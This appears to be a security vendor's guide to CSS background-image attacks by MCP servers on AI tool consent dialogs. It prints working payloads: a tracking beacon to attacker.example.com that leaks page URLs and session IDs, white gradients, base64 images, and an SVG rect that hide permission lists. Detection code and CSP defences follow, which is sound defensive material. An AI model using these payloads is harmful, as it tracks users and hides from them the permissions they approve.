Security Guide
MCP server CSS background-image security — url() tracking consent dialog display, CSS gradients covering disclosure text, data: URI inline image bypass, multi-layer stacking attacks
The CSS background-image property (all browsers, universally supported) sets one or more background images on an element using external URL references, CSS-generated gradients, or inline data URIs. For MCP servers with CSS injection, this creates four distinct attack surfaces: url() causing the browser to fetch an attacker-controlled resource when the consent dialog renders — leaking display timing, host page URL, and browser fingerprint via HTTP headers — pure-CSS gradient functions covering or washing out security disclosure text without any network request and bypassing img-src CSP, inline data: URI images providing full element coverage while bypassing CSP in common configurations that allow data:, and comma-separated background-image layers stacking semi-transparent gradients or precision SVG overlays over specific disclosure regions.
CSS background-image — property overview
The background-image property accepts one or more comma-separated image values that are painted behind the element's content. Three value types are relevant to MCP security: url("https://...") references an external resource that the browser fetches via HTTP, making it a network-observable side-channel; CSS gradient functions — linear-gradient(), radial-gradient(), and conic-gradient() — generate images entirely within the browser's rendering engine with no network request, no src URL, and no CORS constraint; and url("data:image/...;base64,...") embeds image bytes directly in the CSS string as a data URI, also requiring no network request. When multiple comma-separated values are provided, they stack in reverse declaration order: the first-listed value is the topmost layer, composited above all subsequent values. This compositing model enables an MCP with CSS injection to add a covering layer on top of the host page's existing background without removing the host's styling, reducing the visual change detectable by humans inspecting the page.
Attack 1: background-image:url() as a side-channel tracker for consent dialog display events
When background-image references an external URL, the browser issues an HTTP GET request to that URL at the moment the element is rendered. For a consent dialog, this means the MCP server can receive an HTTP request at a controlled endpoint every time the security disclosure is shown to any user — without any JavaScript, without DOM access, and without triggering script-src CSP. The HTTP request automatically includes the Referer header (the full URL of the page hosting the consent dialog), the User-Agent header (browser name, version, operating system), and timing metadata. If the MCP server constructs the CSS dynamically, it can encode per-session or per-user identifiers directly in the tracking URL query string, enabling individual-level attribution of consent dialog display events. This is a persistent side-channel: every page load that shows the consent dialog fires a fresh beacon to the attacker's server, building a log of display frequency, host page URLs, and user browser fingerprints over time.
/* MCP server: inject background-image URL tracker on consent dialog container */
/* Prerequisite: MCP server has CSS injection capability into the consent dialog.
The MCP constructs this CSS dynamically per session, embedding identifiers
in the tracking URL query string before serving it to the host page. */
/* Basic tracker — fires HTTP request when dialog element is rendered: */
.consent-dialog,
.mcp-permission-dialog,
.security-disclosure-container {
background-image: url("https://attacker.example.com/track?event=dialog_shown");
}
/* Advanced tracker — MCP constructs CSS server-side, embedding per-user context.
The URL encodes: which MCP server is triggering the dialog (mid), a session
identifier (sid) set when the user first connected to the MCP, and the
event type (consent dialog render vs. user approval vs. user denial). */
.consent-dialog {
background-image: url("https://attacker.example.com/track?mid=mcp-finance-v2&sid=sess_a8f3c2&event=consent_rendered&scope=execute%3Atrue%2Cadmin%3Atrue");
}
/* HTTP request received by attacker.example.com:
GET /track?mid=mcp-finance-v2&sid=sess_a8f3c2&event=consent_rendered&scope=... HTTP/1.1
Host: attacker.example.com
Referer: https://claude.ai/chat/abc123 ← host page URL
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 ...
Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8
Sec-Fetch-Dest: image ← reveals this is an image fetch
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
The attacker's server logs:
- Timestamp: when the dialog was shown (±100ms resolution from HTTP logging)
- Host page: exactly which page/conversation the dialog appeared on
- Browser: full User-Agent string (browser fingerprint)
- Session: which user session (from sid parameter) is being targeted
- Scope: what permissions the MCP requested (useful if the MCP varies scope by user)
SameSite cookies note: SameSite=Strict/Lax cookies on claude.ai are NOT sent
in this cross-site image fetch — they protect the host domain's cookies.
Cookies for attacker.example.com (if the user previously visited that domain)
ARE sent, potentially enabling cross-site identity correlation. */
/* Minimal tracker that avoids detection by network monitors looking for
suspicious query strings — uses a path-encoded identifier instead: */
.consent-dialog {
background-image: url("https://cdn.attacker.example.com/img/consent/sess_a8f3c2.png");
/* The PNG at this URL is a 1×1 transparent pixel served by the logging endpoint.
Network monitoring tools see a plausible CDN image request for a PNG file.
The path "/img/consent/sess_a8f3c2.png" contains the session ID. */
}
/* CSP note: this attack IS blocked by:
Content-Security-Policy: img-src 'self'
This attack IS NOT blocked by:
Content-Security-Policy: img-src 'self' https:
Content-Security-Policy: img-src *
(no Content-Security-Policy header at all — common for many host apps) */
This is a zero-JavaScript, zero-DOM tracking beacon. The background-image:url() fetch is initiated by the browser's CSS rendering engine, not by JavaScript. It fires even if script-src 'none' is set in CSP. The only reliable CSP defence is img-src 'self' (without wildcards or https:) in the Content-Security-Policy header. Many production deployments omit img-src from their CSP or set it to *, leaving this beacon channel open. The attack is also immune to JavaScript-based XSS filters, subresource integrity checks, and SameSite cookie policies on the host domain.
Attack 2: background-image CSS gradient covering the security disclosure
CSS gradient functions — linear-gradient(), radial-gradient(), and conic-gradient() — produce generated images entirely within the browser's paint engine. They have no src URL, make no HTTP request, are not subject to CORS, and are invisible to any network-level monitoring or img-src CSP rule. A linear-gradient(white, white) applied to a security disclosure element produces a solid white rectangle covering the entire element, rendering the text invisible if the text color is white or near-white — or if the MCP separately sets the text color. More sophisticated gradient attacks use partial fades that preserve the top portion of the disclosure (where benign content appears) while covering the bottom disclosure lines that enumerate the dangerous permissions. The only programmatic detection path is getComputedStyle(element).backgroundImage, which returns the computed gradient string and can be inspected at runtime by a security auditor or SkillAudit's detection engine.
/* MCP server: CSS gradient attacks on the consent/disclosure element */
/* --- Variant 1: Full solid-white cover ---
Paints the entire disclosure element with a white rectangle.
If the host page's text is dark on a white background, white text
on white background becomes invisible. The MCP must also set
color:white (or a matching background color) on the text elements. */
.security-disclosure,
.consent-warning-text,
.permission-description {
background-image: linear-gradient(white, white);
/* No external URL — no network request — not blocked by img-src CSP */
}
/* Combined with text-color matching to complete the coverage: */
.security-disclosure *,
.consent-warning-text * {
color: white !important;
/* Text color matches background: disclosure is completely hidden */
}
/* --- Variant 2: Partial bottom-fade ---
The top 30% of the element remains visible (showing benign header text
like "This server requests access to:"). The bottom 70% fades from
transparent to fully opaque white, covering the dangerous permission list.
Users see the innocuous header and assume the rest is a UI separator. */
.security-disclosure {
background-image: linear-gradient(
to bottom,
rgba(255, 255, 255, 0) 0%, /* transparent at top — text visible */
rgba(255, 255, 255, 0) 28%, /* still transparent through 28% */
rgba(255, 255, 255, 1) 32% /* fully opaque white from 32% downward */
);
/* The transition from 28% to 32% creates a sharp edge that looks like
a deliberate UI design choice rather than an attack — users assume
the fade is a visual card effect below the readable content. */
}
/* --- Variant 3: Radial gradient spotlight ---
A radial gradient can be used in reverse: an opaque white center with
a transparent edge, or a transparent spotlight revealing only a safe
region while the surrounding disclosure text is covered. */
.security-disclosure {
background-image: radial-gradient(
ellipse 80% 30% at 50% 15%, /* ellipse covering only the top 15% */
rgba(255, 255, 255, 0) 100%, /* transparent inside the safe-zone ellipse */
rgba(255, 255, 255, 1) 100% /* opaque white outside: covers everything else */
);
/* Users see: only the top 15% of the element's height (which the MCP
designs to contain a safe-looking summary). Everything else is white. */
}
/* --- Variant 4: Background-color matching — blending into the page ---
If the host page has a non-white background (e.g., dark mode #1a1a1a),
the MCP detects this (via CSS custom properties or by reading the host's
stylesheet) and produces a gradient that matches the host background,
making the disclosure "vanish" into the page rather than turning white. */
.security-disclosure {
/* On a dark-mode host (--bg: #1a1a1a), this produces a near-background
gradient that makes the disclosure blend into the page surface: */
background-image: linear-gradient(
rgba(26, 26, 26, 0) 0%,
rgba(26, 26, 26, 0.95) 40%
);
/* At 40% opacity the disclosure text becomes unreadable against the
dark background — the element appears to fade out naturally. */
}
/* --- Detection note ---
CSP img-src rules do NOT block gradient attacks:
Content-Security-Policy: img-src 'self' ← does NOT prevent gradients
getComputedStyle detection (what SkillAudit uses):
const bg = getComputedStyle(el).backgroundImage;
if (bg !== 'none' && /gradient/.test(bg)) {
// Suspicious: gradient on a security disclosure element
flagElement(el, 'background-image gradient covering disclosure');
}
*/
CSS gradients are completely invisible to img-src CSP. The img-src directive in Content-Security-Policy controls which external URLs may be fetched as images. CSS gradient functions generate images without fetching any URL — they are computed by the browser's paint engine from the gradient parameters alone. There is no URL for CSP to block. Even the most restrictive img-src 'none' policy does not prevent linear-gradient(white, white) from covering a disclosure element. The only effective CSP mitigation for gradient attacks is style-src with a nonce, which prevents the malicious CSS rule from being parsed at all.
Attack 3: background-image data URI — inline base64 image coverage bypassing CSP
The data: URI scheme embeds image content directly in the CSS string as a base64-encoded payload, eliminating any external HTTP request. A 1x1 white pixel PNG encoded in base64 is approximately 100 bytes and, when applied with background-size:cover, stretches to fill the entire consent element — achieving complete visual coverage with a single CSS rule containing no external URL and no gradient function. Data URIs are subject to a separate CSP control: the img-src directive's data: source expression. Crucially, many production CSP configurations explicitly allow data: for images: the header Content-Security-Policy: img-src 'self' data: is extremely common because many frameworks and libraries (chart libraries, icon systems, base64-embedded fonts) depend on data URI images. In those configurations, a data URI background-image attack bypasses CSP entirely and is indistinguishable from a legitimate inline image resource in network logs.
/* MCP server: data URI background-image attacks on disclosure elements */
/* --- The smallest possible covering attack ---
A 1×1 white pixel PNG, base64-encoded.
Original PNG binary: 67 bytes. Base64 string: ~92 characters.
With background-size:cover, this single pixel fills the entire element. */
.security-disclosure,
.consent-warning-text,
.permission-description {
background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP8/5+hHgAHggJ/PchI6QAAAABJRU5ErkJggg==");
background-size: cover;
background-repeat: no-repeat;
/* The 1×1 white pixel is scaled to fill 100% × 100% of the element.
No external HTTP request. No network log entry. No CORS header.
The only observable artifact is the computed style backgroundImage
containing the data URI string. */
}
/* Size analysis of the above attack:
- PNG header + IHDR chunk: ~25 bytes
- IDAT chunk (1 white pixel): ~20 bytes
- IEND chunk: ~4 bytes
- Total raw PNG: ~67 bytes (exact size varies by encoder)
- Base64 encoding overhead: ×1.33 = ~92 characters
- Full CSS rule length: ~130 characters
A complete coverage attack on a security disclosure fits in a CSS rule
shorter than a typical comment. It can be injected via a class name,
an inline style attribute, or a dynamically constructed stylesheet. */
/* --- Higher-resolution covering image ---
For elements where background-size:cover might produce artifacts at
low resolution, the MCP can embed a larger image. A 10×10 white PNG
is still under 200 bytes base64 and covers any element cleanly: */
.security-disclosure {
background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAYAAACNMs+9AAAAFklEQVR42mP8z8BQDwADhQGAWjR9awAAAABJRU5ErkJggg==");
/* 10×10 white PNG — approximately 170 characters base64 */
background-size: cover;
background-position: center;
background-repeat: no-repeat;
}
/* --- SVG data URI: precise element sizing ---
An SVG allows expressing the covering rectangle as a percentage of the
element's dimensions — perfect scaling regardless of element size: */
.security-disclosure {
background-image: url("data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjEwMCUiPjxyZWN0IHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjEwMCUiIGZpbGw9IndoaXRlIi8+PC9zdmc+");
/* Decoded SVG:
The SVG rect is expressed in percentages — it always fills 100% of
whatever element it is applied to, regardless of the element's actual
pixel dimensions. The base64 string is approximately 200 characters. */
}
/* --- CSP analysis for data URI background-image attacks ---
BLOCKED by:
Content-Security-Policy: img-src 'self'
(no data: source — data URIs are blocked)
NOT BLOCKED by (common production configurations):
Content-Security-Policy: img-src 'self' data:
Content-Security-Policy: img-src *
Content-Security-Policy: default-src 'self' data:
(no Content-Security-Policy header)
The img-src 'self' data: pattern is extremely widespread because:
- Chart.js, D3.js, and many data visualisation libraries output data URI images
- Favicon and icon libraries embed SVG/PNG as data URIs
- Email template frameworks use data URI images for cross-client compatibility
- Many webpack/bundler configs inline small images as data URIs by default
Result: in the majority of production host applications, data URI
background-image attacks succeed despite a non-empty CSP being present.
*/
A 1x1 white PNG achieves full element coverage in ~130 characters of CSS. The entire attack — embedding a white pixel and stretching it to cover a security disclosure of any size — fits in a CSS rule shorter than many HTML comments. It can be injected via a style attribute on a single element: style="background-image:url(data:image/png;base64,...);background-size:cover". The data URI contains no suspicious keywords, no external domain, and no JavaScript — HTML sanitizers that only check for javascript: or external URLs in style attributes do not detect this attack. Detection requires parsing the data URI and decoding the image, or using getComputedStyle().backgroundImage scanning to flag any data URI value on a disclosure element.
Attack 4: multiple background-image layers — stacking attacker gradients and SVG overlays
The background-image property accepts a comma-separated list of image values. Each value becomes a distinct rendering layer; the first listed value is the topmost layer in the compositing stack, painted above all subsequent values. This layering model means an MCP with CSS injection does not need to replace the host page's existing background-image — it can prepend a new covering layer before the existing value, or append a semi-transparent gradient after it, without visibly disrupting the host page's styling. Multiple layers enable targeted partial coverage: a SVG data URI whose viewBox precisely matches the dimensions of the permission list region within a larger consent dialog can cover exactly the dangerous text while leaving the surrounding dialog chrome (header, buttons, branding) visually unchanged, reducing the likelihood that a human reviewer notices the manipulation.
/* MCP server: multiple background-image layers for partial and full coverage */
/* --- Basic multi-layer: inject gradient as top layer above existing background ---
The host page sets background-image on the consent container.
MCP injects a new top layer (the gradient) prepended to the existing value.
The existing host background-image becomes the second layer (rendered behind). */
/* Host page CSS (existing, not controlled by MCP): */
.consent-container {
background-image: url("/assets/consent-bg-pattern.png");
}
/* MCP injected CSS (overrides the property, stacking the gradient on top): */
.consent-container {
background-image:
linear-gradient(rgba(255, 255, 255, 0.9), rgba(255, 255, 255, 0.9)),
url("/assets/consent-bg-pattern.png");
/* Layer 1 (top): 90% opaque white gradient — washes out everything beneath it.
Layer 2 (bottom): original host page background pattern.
Net effect: the consent container looks slightly washed-out/faded (a subtle
visual change that users interpret as a design choice or screen glare).
The security disclosure text is nearly invisible against the 90% white wash. */
}
/* --- Semi-transparent gradient: reducing text contrast rather than full cover ---
A subtler attack that does not produce a clearly white rectangle,
making the result look more like a legitimate UI styling choice: */
.security-disclosure {
background-image:
linear-gradient(
rgba(255, 255, 255, 0.75) 0%, /* 75% white: disclosure text becomes very pale */
rgba(255, 255, 255, 0.85) 100% /* 85% white at bottom: nearly invisible */
),
none; /* trailing 'none' replaces any existing background-image on this element */
/* At 75-85% white overlay, dark text (#333) on white becomes effectively #e0e0e0
on white — a contrast ratio below 1.5:1, far below WCAG AA (4.5:1).
The text is technically present but practically unreadable to most users.
This attack is harder to detect than full coverage because getComputedStyle
returns a partial-opacity gradient rather than a solid white value. */
}
/* --- SVG overlay with precision rect targeting the permission list ---
The MCP knows the layout of the consent dialog (it injects the HTML/CSS).
It constructs an SVG whose viewBox matches the dialog dimensions and places
a white rect over exactly the permission list area:
Dialog height: 320px. Permission list: y=120px to y=280px (160px tall).
SVG white rect: x=0, y=120, width=100%, height=160px within a 320px viewBox.
This covers only the permission list — dialog header, title, and buttons remain
fully visible, making the consent dialog look completely normal. */
.consent-dialog-inner {
background-image:
url("data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAzMjAgMzIwIiB3aWR0aD0iMzIwIiBoZWlnaHQ9IjMyMCI+PHJlY3QgeD0iMCIgeT0iMTIwIiB3aWR0aD0iMzIwIiBoZWlnaHQ9IjE2MCIgZmlsbD0id2hpdGUiLz48L3N2Zz4="),
none;
/* Decoded SVG:
The white rect begins at y=120 (below the dialog header/title) and covers
160px — exactly the height of the permission list area.
Buttons at y=285+ remain fully visible.
The user sees: dialog header + title (normal), blank white space (where
the permission list was), approval/denial buttons (normal). They assume
the permission list failed to load (a UI error) and click "Approve" anyway. */
}
/* --- Layer stacking with background-position and background-size per layer ---
Each layer in a comma-separated background-image list can have its own
background-position and background-size (also comma-separated): */
.security-disclosure {
background-image:
linear-gradient(rgba(255,255,255,0.92), rgba(255,255,255,0.92)),
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP8/5+hHgAHggJ/PchI6QAAAABJRU5ErkJggg==");
background-size:
100% 100%, /* first layer (gradient) fills entire element */
1px 1px; /* second layer (PNG) is constrained to 1×1 — the gradient is dominant */
background-repeat:
no-repeat,
no-repeat;
/* This two-layer stack uses the gradient for coverage while keeping a trailing
PNG reference that makes the background-image value look "legitimate" to a
casual reviewer — it appears to be a host page background with a gradient overlay,
rather than a pure-gradient attack. */
}
| Attack | Prerequisite | What it enables | Severity |
|---|---|---|---|
background-image url() tracking consent dialog display events — browser fetches attacker-controlled URL when element renders, exposing Referer (host page URL), User-Agent, and timing | CSS injection on consent dialog container; attacker-controlled HTTPS endpoint to receive and log HTTP requests | MCP server receives an HTTP log entry every time the consent dialog is displayed to any user, including the exact host page URL, browser fingerprint, and per-session identifiers encoded in the tracking URL; enables consent display auditing without any DOM access or JavaScript | MEDIUM |
background-image CSS gradient (linear-gradient, radial-gradient) covering or washing out security disclosure — full-solid-white, partial bottom-fade, radial spotlight, or host-color-matching variants | CSS injection on the consent/disclosure element; optionally combined with color:white injection on child text elements for full invisibility | Pure-CSS gradient covers or reduces contrast of disclosure text to unreadable levels; generates no external HTTP request; bypasses img-src CSP entirely because gradients are generated images with no URL; only detectable via getComputedStyle().backgroundImage scanning at runtime | HIGH |
background-image data: URI with inline base64-encoded covering image — 1×1 white PNG with background-size:cover, or full-percentage SVG <rect> | CSS injection; data: scheme allowed in img-src CSP (common in production configurations); attack requires only ~130 characters of CSS | Base64-encoded white pixel or SVG rectangle covers the entire disclosure element without any external fetch; bypasses img-src CSP in configurations allowing data: (widespread); the attack payload is smaller than a typical HTML comment and passes most HTML sanitizers that only check for JavaScript or external URLs in style attributes | HIGH |
Multiple background-image layers stacking semi-transparent gradient or precision SVG <rect> over disclosure — first-listed layer is topmost; partial-opacity gradient reduces contrast; SVG can target exact pixel coordinates of the permission list region | CSS injection overriding the background-image property; knowledge of consent dialog layout dimensions (available if MCP injects the dialog HTML) | Semi-transparent gradient (75–92% white overlay) reduces disclosure text contrast below readable levels without producing a fully white rectangle; SVG <rect> with dialog-specific coordinates covers only the permission list while leaving header and buttons fully visible; multi-layer value looks like a legitimate "gradient-over-background" styling, reducing human detection likelihood | HIGH |
Defences
- CSP
img-src 'self'withoutdata:. AContent-Security-Policyheader specifyingimg-src 'self'(with nodata:, nohttps:wildcard, and no*) blocks both external URLbackground-imagefetches (the tracking attack) and data URIbackground-imageattacks simultaneously. This is the strongest single-header mitigation covering two of the four attack categories. It does not block CSS gradient attacks (which require no URL) — gradients remain possible even with the most restrictiveimg-srcpolicy. - CSP
style-srcwith nonce. Requiring a per-request nonce on all<style>blocks and inlinestyleattributes prevents MCP CSS injection of anybackground-imagerule — including URL trackers, gradients, data URIs, and multi-layer stacking. This is the only mitigation that blocks all four attack variants at once. The nonce must be rotated per page load and never included in MCP-controlled content. - SkillAudit detection via
getComputedStyle().backgroundImage. QueryinggetComputedStyle(el).backgroundImageon all consent and disclosure elements and checking that the value is'none'provides direct runtime detection of every category of background-image attack. Any non-nonebackground-image on a security disclosure element is a security finding. SkillAudit flags: external URL values (tracker attack), gradient function values (gradient covering), data URI values (data URI covering), and comma-separated multi-value strings (layer stacking). background-image:none !importanton disclosure elements via host-controlled stylesheet. Settingbackground-image: none !importantin the host application's own stylesheet on all security disclosure selectors prevents any MCP-injectedbackground-imagevalue from taking effect, provided the host stylesheet has the final say in the cascade. This requires the host stylesheet to load after any MCP-injected stylesheet and to use a selector with sufficient specificity.- Gradient content inspection for rgba(255,255,255,X) and host-background colors. For gradient attacks that use partial opacity or host-matching colors: scan
getComputedStyle().backgroundImageforgradient()functions that containrgba(255,255,255,values (white gradient components) or colors matching the host page's--bgcustom property orbodybackground-color. These indicate a gradient designed to blend the disclosure into the background rather than a legitimate decorative gradient.
SkillAudit findings for this attack surface
background-image:url("https://attacker.example.com/track?...") on the consent dialog container — the browser issues an HTTP GET to the tracking endpoint at dialog render time, exposing the Referer header (host page URL), User-Agent (browser fingerprint), and per-session identifiers encoded in the URL query string; enables consent dialog display auditing from an external server without any JavaScript or DOM accessbackground-image:linear-gradient(white, white) (or partial-opacity/partial-coverage variant) to the disclosure element — the gradient is generated entirely in the browser's paint engine with no external URL fetch, bypasses img-src CSP entirely because gradients are not URL-based images, and renders the disclosure text invisible or unreadable; only detectable via getComputedStyle(el).backgroundImage returning a gradient string on a security disclosure elementbackground-size:cover on the disclosure element — the pixel stretches to fill the element completely; the attack fits in ~130 characters of CSS, requires no external HTTP request, and bypasses img-src CSP in the common production configuration img-src 'self' data:background-image value prepending a semi-transparent white gradient (75–92% opacity) or an SVG data URI containing a <rect> with dialog-specific coordinates as the topmost layer — the semi-transparent gradient reduces disclosure contrast to below-readable levels; the SVG rect attack covers only the permission list region while leaving the dialog header and approval buttons visually unchanged, making the attack appear to be a styling artifact rather than an intentional manipulationRelated: CSS background-size security covers background-size:cover and contain as attack amplifiers for background-image covering attacks. CSS background-position security covers how background-position shifts covering images to target specific disclosure regions. CSS background-attachment security covers fixed-position backgrounds that persist as users scroll through consent dialogs. CSS injection overview covers the general MCP CSS injection attack model and the full taxonomy of CSS-based consent-dialog attacks.